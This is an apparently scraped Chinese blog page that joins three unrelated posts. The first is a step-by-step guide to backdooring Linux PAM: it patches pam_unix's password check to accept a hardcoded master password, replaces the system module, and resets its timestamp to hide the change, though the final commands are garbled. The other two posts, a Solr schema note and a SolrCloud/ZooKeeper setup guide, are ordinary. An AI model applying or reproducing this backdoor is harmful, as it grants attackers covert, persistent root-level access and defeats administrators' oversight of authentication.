LINUX下PAM后门的编译及使用

1.              测试环境:centos 5.8(32位)    centos6.4(64位)

2.             rpm –aq | grep pam查询PAM版本

3.根据2的结果下载对应的pam源码(以下3个地址选择其一下载均可)

https://fedorahosted.org/releases/l/i/linux-pam/

http://www.linux-pam.org/library/

http://pkgs.fedoraproject.org/repo/pkgs/pam/

4.修改

Linux-PAM-1
.1.1
/modules/pam_unix/support<code class="bash plain">.c

的int _unix_verify_password()函数

在函数开始添加如下代码段

if(strcmp(“Your password here”,p)==0) {return PAM_SUCCESS;}

保存文件。

5.解决依赖问题

yum
install
gcc
make
flex -y 

6.生成配置文件并编译

Linux-PAM-1
.1.1目录下执行

./configure&&make

如果make产生错误,继续执行下一步

7.备份/lib/security/pam_unix.so(如果系统为64为,路径为/lib64/security/,下同)

mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak

7.拷贝

Linux-PAM-1
.1.1
/modules/pam_unix/.libs/pam_unix.so 至/lib/security/

8.恢复新的pam_unix.so的modify时间

touch -r /lib/security/pam_unix.so /lib/security/pam_unix.so.bak /lib/security/pam_unix.so /lib/security/pam_unix.so

rm -f /lib/security/pam_unix.so /lib/security/pam_unix.so.bak

solr设置schema.xml以支持中文数据上传

1.在设置solr的schema.xml中field时,如果想要索引或存储中文数据,需要将该field的type设为class为solr.StrField的fieldType.

比如想要username存储中文数据,那么设置如下:

<field name=”username” type=”string” indexed=”true” stored=”false”/>

<fieldType name=”string” class=”solr.StrField” sortMissingLast=”true” />

2.当solr文档中有中文数据时,有时候查询的时候会发现无法查到这些数据,可以尝试的解决方法是调整tomcat的编码方式。

方法:

修改tomcat配置目录conf下的server.xml。

原配置:

<Connector port=”8787″ protocol=”HTTP/1.1″
connectionTimeout=”20000″
redirectPort=”8443″ />

修改后配置:

<Connector port=”8787″ protocol=”HTTP/1.1″
connectionTimeout=”20000″
URIEncoding=”UTF-8″
redirectPort=”8443″ />

即添加了URIEncoding=”UTF-8″。

附:solr内置字段类型

字段类型在org.apache.solr.schema包下

Class 描述
BCDIntField 二进制整形字段
BCDLongField 二进制长整形字段
BCDStrField 二进制字符型字段
BinaryField 二进制数据
BoolField 包含true或者false,值的第一个字符如果是1、t、T均表示true,其他为false
ByteField 一个字节数据
DateField 一个精确到毫秒的时间值
DoubleField
ExternalFileField 从硬盘读取文件作为该字段的值
FloatField
IntField
Location 方位搜索用到,存经纬度值
LongField
Point N维点搜索,在蓝图或者CAD图中使用
RandomSortField 不包含值,当查询时按这种类型的字段排序时会产生随机排序。使用该特性时需要是一个动态字段
ShortField
StrField UTF-8编码的字符串或Unicode
TextField 文本类型,一般包含多个单词或汉字
UUIDField 唯一识别码,单传入的值是“NEW”时,Solr将为其创建1个UUID值

solrCloud4.10.4+zookeeper3.3.6在Centos上的安装及使用

Apache SolrCloud安装

SolrCloud通过ZooKeeper集群来进行协调,使一个索引进行分片,各个分片可以分布在不同的物理节点上,多个物理分片组成一个完成的索引Collection。SolrCloud自动支持Solr Replication,可以同时对分片进行复制,冗余存储。下面,我们基于Solr4.10.4版本进行安装配置SolrCloud集群。

1. 安装环境

我使用的安装程序各版本如下:

  • Solr:  solr-4.10.4
  • Tomcat: apache-tomcat-7.0.62
  • ZooKeeper: zookeeper-3.3.6

各个目录说明:

  • 所有的程序安装在/usr/solrcloud/目录下,你可以依照你的实际情况下修改安装目录。
  • ZooKeeper的数据目录在:/usr/solrcloud/data
  • solrhome(collection的数据存储位置)设置在:/usr/solrcloud/solr-home
  • solrconf(collection的配置文件位置)设置在:/usr/solrcloud/solr-conf

2. 规划SolrCloud

  • 单一SolrCloud数据集合:mycollection
  • ZooKeeper集群:3台
  • SolrCloud实例:3节点
  • 索引分片:3
  • 复制因子:2

手动将3个索引分片(Shard)的复本(Replica)分布在2个SolrCloud节点上

三个节点:

  • 192.168.1.111
  • 192.168.1.112
  • 192.168.56.113

3. 安装ZooKeeper集群

由于需要用到ZooKeeper来存储集群的collection 信息以及collection的配置文件,所以先安装好ZooKeeper集群。

首先,在第一个节点上将zookeeper-3.3.6.tar.gz解压到/usr/solrcloud/目录:

$ tar zxvf zookeeper-3.3.6.tar.gz -C /usr/solrcloud/

创建zookeeper配置文件zookeeper-3.3.6/conf/zoo.cfg,内容如下:

tickTime=2000 
initLimit=10
syncLimit=5 
dataDir=/usr/solrcloud/data 
clientPort=2281 
server.1=192.168.1.111:2988:3988
server.2=192.168.1.112:2988:3988
server.3=192.168.1.113:2988:3988

zookeeper的数据目录指定在

/usr/solrcloud/data,你也可以使用其他目录,通过下面命令进行创建该目录:
$ mkdir /usr/solrcloud/data -p

然后,初始化myid,三个节点编号依次为1,2,3,在其余节点上分别执行命令(注意修改编号)。

$ echo "1" >/usr/solrcloud/data/myid

然后,在第二个和第三个节点上依次重复上面的操作。这样第一个节点中myid内容为1,第二个节点为2,第三个节点为3。

最后,启动ZooKeeper集群,在每个节点上分别启动ZooKeeper服务:

$ /usr/solrcloud/zookeeper-3.3.6/bin/zkServer.sh start

可以查看ZooKeeper集群的状态,保证集群启动没有问题:

[root@192.168.56.121 opt]# sh zookeeper-3.3.6/bin/zkServer.sh status 
JMX enabled by default
Using config: /usr/solrcloud/zookeeper-3.3.6/bin/../conf/zoo.cfg
Mode: follower
注意:当第一台机器启动zookeeper的时候运行status命令会显示错误,可能的原因是其它的机器还未启动zookeeper。

4. 安装Solr

solr的安装分为几个步骤,执行以下命令:

在执行如下操作之前建立三个文件

(1)/usr/solrcloud/solr-home

(2)/usr/solrcloud/solr-libs

(3)/usr/solrcloud/solr-conf

命令如下:

mkdir -p /usr/solrcloud/solr-home

mkdir -p /usr/solrcloud/solr-libs

mkdir -p /usr/solrcloud/solr-conf

然后进行如下操作:

1.解压缩apache-tomcat-7.0.62.tar.gz到/usr/solrcloud/tomcat 目录中      

tar xzvf  apache-tomcat-7.0.62.tar.gz & mv  apache-tomcat-7.0.62 tomcat.

2.解压缩solr-4.10.4.zip到/usr/solrcloud/solrsrc

unzip solr-4.10.4.zip -d /usr/solrcloud/solrsrc.

3.首先把solr-4.10.4/example/webapps/solr.war解压缩,然后复制到tomcat的webapps下面

$ cp solr-4.10.4/example/webapps/solr.war tomcat/webapps/

4.把solr-4.10.4/example/lib/ext/下所有jar文件copy到tomcat/webapps/solr/WEB-INF/lib/下   

$ cp solr-4.10.4/example/lib/ext/*tomcat/webapps/solr/WEB-INF/lib/

5.把solr-4.10.4/example/resources/log4j.properties 复制 tomcat/lib/ 下   

$ cp solr-4.10.4/example/resources/log4j.properties tomcat/lib/

6.把solr-4.10.4/example/solr/solr.xml复制到/usr/solrcloud/solr-home中    

$ cp solr-4.10.4/example/solr/solr.xml /usr/solrcloud/solr-home

7.在/usr/solrcloud/solr-conf下面建立一个core目录,例如mycollection

mkdir -p /usr/solrcloud/solr-conf/mycollection

8.复制solr-4.10.4/example/solr/collection1/conf 到/usr/solrcloud/solr-conf/mycollection/conf     

$ cp solr-4.10.4/example/solr/collection1/conf /usr/solrcloud/solr-conf/mycollection/conf

9.修改tomcat的启动端口为8787

vi tomcat/conf/server.xml

把所有的8080修改为8787

10.修改/usr/solrcloud/solr-home/solr.xml的 hostPort 节点的端口号为tomcat的端口号  

<int name=”hostPort”>${jetty.port:8787}</int>

在其他节点上重复以上操作完成所有节点的solr的安装。

11.启动tomcat,当solr.war解压后关闭tomcat
tomcat/bin/startup.sh
tomcat/bin/shutdown.sh
12.复制tomcat/webapps/solr/WEB-INF/lib/下所有的文件到/usr/solrcloud/solr-libs
cp tomcat/webapps/solr/WEB-INF/lib/* /usr/solrcloud/solr-libs

5. Tomcat配置与启动

首先说一下如何自动创建Collection及初始Shard,不需要通过zookeeper手动上传配置文件并关联collection。

1、在第一个节点修改tomcat启动参数

JAVA_OPTS='-Djetty.port=8787 -Dsolr.solr.home=/usr/solrcloud/solr-home -DzkHost=192.168.1.111:2281,192.168.1.112:2281,192.1.113:2281 -DnumShards=3 -Dbootstrap_confdir=/usr/solrcloud/solr-conf/mycollection/conf -Dcollection.configName=myconf'

然后启动tomcat。这个步骤上传了集群的相关配置信息(/home/solrcloud/solr-config/mycollectin/conf)到ZooKeeper中去,所以启动下一个节点时不用再指定配置文件了。

!!!下面的操作可以不做,只是为了演示下自动创建collection时配置文件是怎样让其它机器所知悉的。

在zookeeper的bin目录下运行zkCli.sh,会自动监听本地的2181端口,但由于我们改变了zookeeper的默认client端口,所以需要用-server来指定本地端口。

$ /usr/solrcloud/zookeeper-3.3.6/bin/zkCli.sh -server 127.0.0.1:2281

接着运行 ls /configs可以看到已经传到zookeeper的collection的配置文件。

[zk: 127.0.0.1:2281(CONNECTED) 1] ls /configs
[t1_conf, myconf]

[zk: 127.0.0.1:2281(CONNECTED) 2] ls /collections
[t3, t2, t1, mycollection]

这样zookeeper就拥有了collection名称,配置文件以及该配置的名称,其它机器就可以从zookeeper中获取到该配置信息了。

 

2、在第二个和第三个节点修改tomcat启动参数

JAVA_OPTS='-Djetty.port=8787 -Dsolr.solr.home=/usr/solrcloud/solr-home -DzkHost=192.168.1.111:2281,192.168.1.112:2281,192.1.113:2281 -DnumShards=3'

然后启动tomcat。

这样就会创建3个shard分别分布在三个节点上,如果你再增加一个节点,这节点会附加到一个shard上成为一个replica,而不会创建新的shard。

6. 建立core跟share的一些命令

curl 'http://192.168.1.111:8787/solr/admin/collections?action=CREATE&name=mycollection&numShards=3&replicationFactor=1'

上面链接中的几个参数的含义,说明如下:

  • name 待创建Collection的名称
  • numShards 分片的数量
  • replicationFactor 复制副本的数量

可以通过Web管理页面,访问http://192.168.1.111:8787/solr/#/~cloud,查看SolrCloud集群的分片信息。

7.手动创建Replication

下面对已经创建的初始分片进行复制。 shard1已经在192.168.1.113上,我们复制分片到192.168.1.111和192.168.1.112上,执行如下命令:

$ curl 'http://192.168.56.111:8787/solr/admin/cores?action=CREATE&collection=mycollection&name=mycollection_shard1_replica_2&shard=shard1' 
$ curl 'http://192.168.56.112:8787/solr/admin/cores?action=CREATE&collection=mycollection&name=mycollection_shard1_replica_3&shard=shard1'

最后的结果是,192.168.1.113上的shard1,在192.168.1.111节点上有1个副本,名称为mycollection_shard1_replica_2,在192.168.1.112节点上有一个副本,名称为mycollection_shard1_replica_3。也可以通过查看192.168.1.111和192.168.1.112上的目录变化.

你还可以对shard2和shard3添加副本。

8.如何手动创建Collection及初始 Shard?

1.首先上传solrhome配置

java -classpath .:/usr/solrcloud/solr-libs/* org.apache.solr.cloud.ZkCLI -zkhost 192.168.1.111:2281,192.168.1.112:2281,192.168.1.113:2281 -cmd bootstrap -solrhome /usr/solrcloud/solr-home
2.上传自定义的collection配置信息

java -classpath .:/usr/solrcloud/solr-libs/* org.apache.solr.cloud.ZkCLI -zkhost 192.168.1.111:2281,192.168.1.112:2281,192.168.1.113:2281 -cmd upconfig -confdir /usr/solrcloud/solr-conf/t1_collection/conf -confname t1_conf

这条命令是把/usr/solrcloud/solr-conf/t1_collection/conf上传到zookeeper的configs里面,并且以t1_conf命名。
3.java -classpath .:/usr/solrcloud/solr-libs/* org.apache.solr.cloud.ZkCLI -zkhost 192.168.1.111:2281,192.168.1.112:2281,192.168.1.113:2281 -cmd linkconfig -collection t1 -confname t1_conf

这条命令把collection t1与配置t1_conf绑定。

4.curl “http://192.168.1.111/solr/admin/collections?action=CREATE&name=t2_collection&numShards=3&replicationFactor=2&maxShardsPerNode=2&collection.configName=t1_conf”

当在zookeeper里面上传了若干collection配置之后,可以在创建collection时通过collection.configName来指定collection的配置。这也解决了多个不同配置的core共存的问题。